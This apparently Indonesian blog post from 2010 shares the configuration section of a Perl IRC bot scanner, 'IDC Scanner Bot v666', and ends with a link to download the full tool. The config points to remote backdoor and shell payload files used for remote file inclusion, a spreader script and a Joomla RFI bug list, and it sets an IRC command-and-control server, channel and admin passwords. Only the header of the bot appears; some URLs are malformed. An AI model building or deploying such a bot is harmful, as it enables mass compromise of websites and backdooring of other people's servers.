Thursday 26 August 2010 bot perl auto scanner v666 Posted by ARYO at 15:39

#!/usr/bin/perl

print('
########################################
## IDC Scanner Bot v666 ##
## Autodomainscaner edited by Aryo ##
## © Oct 2010, LinkchaTcreW ##
########################################
');

use strict;

use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request;

my $versi = "v666";
my $cmdpre = "!"; #Command Prefix

##[ KONFIGURASI URL ]##
my $fx29id = "http://tempatuploadmu.com/fx29id1.txt??"; #AKID (Simple)
my $fx29id2 = "http://http://tempatuploadmu.com/fx29id2.txt??"; #AKID (Advanced)
my $fx29sh = "http://http://tempatuploadmu.com/backdoor.txt??"; #Fx29Sh (Optional)
my $bypass = "/google.php"; #Google Bypasserz (Optional)
my $pbot = ""; #phpbot (Optional)
my $thebot = ""; #phpbot2 (Optional)
my $cbot = ""; #phpbot3 (Optional)
my $botscan = ""; #botscanloader (Optional)
my $botedan = ""; #botedanloader (Optional)

##[ KONFIGURASI SOURCE ]##
my $mysite = "http://uploadtanmu.com/"; #Path to Sources URL (Optional)
my $spread = $mysite."spread.txt??"; #FxSpreadz (Optional)
my $joomlaz = $mysite."joomla.txt"; #Joomla's Bugs List (Required for Joomla RFI Scanner)

##[ KONFIGURASI IRC ]##
my @servers = ("irc.linkchat.org");
my %bot = (
nick => "[aryo]LinkchatCreW[".int(rand(100))."]",
ident => "link".int(rand(100)),
chan => ["#jogjacodex"],
server => $servers[rand(scalar(@servers))],
port => "6667"
);

##[ KONFIGURASI USER ]##
## status: admin, user
## cryptz: 0 = Non-Encrypted Password, 1 = Encrypted Password
my %boss = (
admin => {
pass => 'passwordmu',
status => "admin",
cryptz => 0,
login => 0
},
admin => {
pass => 'passwordmu',
status => "admin",
cryptz => 0,
login => 0
},
);

Silahkan download file scannernya DI SINI.